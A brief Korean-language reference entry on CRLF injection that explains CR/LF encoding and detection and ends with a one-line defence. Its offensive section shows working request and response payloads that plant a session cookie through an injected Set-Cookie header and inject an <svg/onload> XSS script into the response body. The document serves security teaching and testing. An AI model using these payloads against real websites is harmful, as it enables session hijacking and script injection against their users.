CRLF Injection

Introduction

CRLF Injection은 Carriage Return Line feed Injection의 약자로 각 개행문자를 의미하는 CR(\r) LF(\n)을 이용하여 HTTP Request 또는 Response를 분리하여 공격자가 의도한 동작을 수행시키는 공격 기법을 의미합니다.

- Name ASCII Code URL Encode Char
CR Carriage Return ASCII 13 %0D \r
LF Line Feed ASCII 10 %0A \n

Offensive techniques

Detect

XSS와 동일하게 HTTP Request 내 사용자 입력이 Response에 반영되는 부분이 주요 포인트이며, Request에서 \r\n%0d, %0a를 이용하여 개행할 수 있다면 취약한 것으로 볼 수 있습니다.

Request

GET /redirect?location=/abcd%0d%0a1234

Response

HTTP/1.1 200 OK
Location: /abcd
1234

Exploitation

CRLF Injection 구문이 헤더에 반영되는 경우 임의로 쿠키를 삽입할 수 있습니다.

GET /redirect?location=ws://%0d%0aSet-Cookie: session=attackersessions;
HTTP/1.1 200 OK
Location: ws://
Set-Cookie: session=attackersessions;

XSS

CRLF Injection 구문이 헤더에 반영되는 경우 \r\n\r\n 과 같이 두번 개행하여 Response body 영역에 임의로 HTML 코드를 추가하여 XSS와 동일하게 사용자 브라우저에서 스크립트를 실행할 수 있습니다.

GET /redirect?location=ws://%0d%0a%0d%0a<svg/onload=alert(45)>
HTTP/1.1 200 OK
Location: ws://

<svg/onload=alert(45)>

Defensive techniques

사용자 입력 값에서 CR(\r)LF(\n)가 실제 개행되어 반영되지 않도록 제한합니다.

Tools

References